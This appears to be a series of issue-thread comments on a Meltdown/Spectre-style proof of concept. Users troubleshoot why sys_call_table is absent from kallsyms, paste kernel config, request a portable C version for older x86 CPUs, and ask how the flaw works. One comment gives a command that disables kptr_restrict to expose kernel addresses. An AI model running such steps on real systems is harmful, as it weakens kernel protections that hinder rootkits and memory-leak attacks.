I need some clarification. I would like clarification of how the need to do it works. Thank you
I don't get it.

What kernel version are you using? Any particular config options that need to be on/off for sys_call_table to be present?

With kernel 4.9.60, I don't seem to have this symbol in kallsyms. While I have some things matching call.*table, they seem to be for sysctl or netfilter.

Nothing jumps out at me in my config options:
zcat /proc/config.gz | grep -i sym

CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y
CONFIG_KALLSYMS_BASE_RELATIVE=y
# CONFIG_TRIM_UNUSED_KSYMS is not set
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_UNUSED_SYMBOLS is not set

Googling makes it sound like (years ago, at least) sys_call_table was hidden from kallsyms to make rootkits more difficult. It would be nice if this POC didn't require something that's typically hidden...

Even echo 0 > /proc/sys/kernel/kptr_restrict (as suggested in PR #1) doesn't help.

it executes too this point
if sys_call_table_addr:
print("Found your syscall table at %s! Attempting to abuse spec exec to find syscalls..." % sys_call_table_addr)

Your code contains x86_64 specific assembly, as well as AES-NI instructions any maybe other things that depend on more modern x86 CPUs (this won't even work on Core 2...).

Could you maybe make this more portable, so that it can run on older chips as well? I'd be specifically interested in testing Intel Netburst architecture chips, which were developed by a different team than the P6/Core line of CPUs.

None of them have AES-NI though, and most of them are 32-bit, so it'd be nice to have a generic C version of this tool that compiles and runs on any x86_32 & x86_64 chip.

More articles I am reading , the more confused I am. Many articles say that speculative execution and out-of-order execution leads to these vulns. I don't think so, because I find that exploiting either of these two vulns to leak kernel addressspace is nearly possible, except for the situation that the target kernel address is cached in L1.
So it seems in fact it's because that the memory load operation from L1 cache didn't carry the privilege verification quite well . Am I understanding right?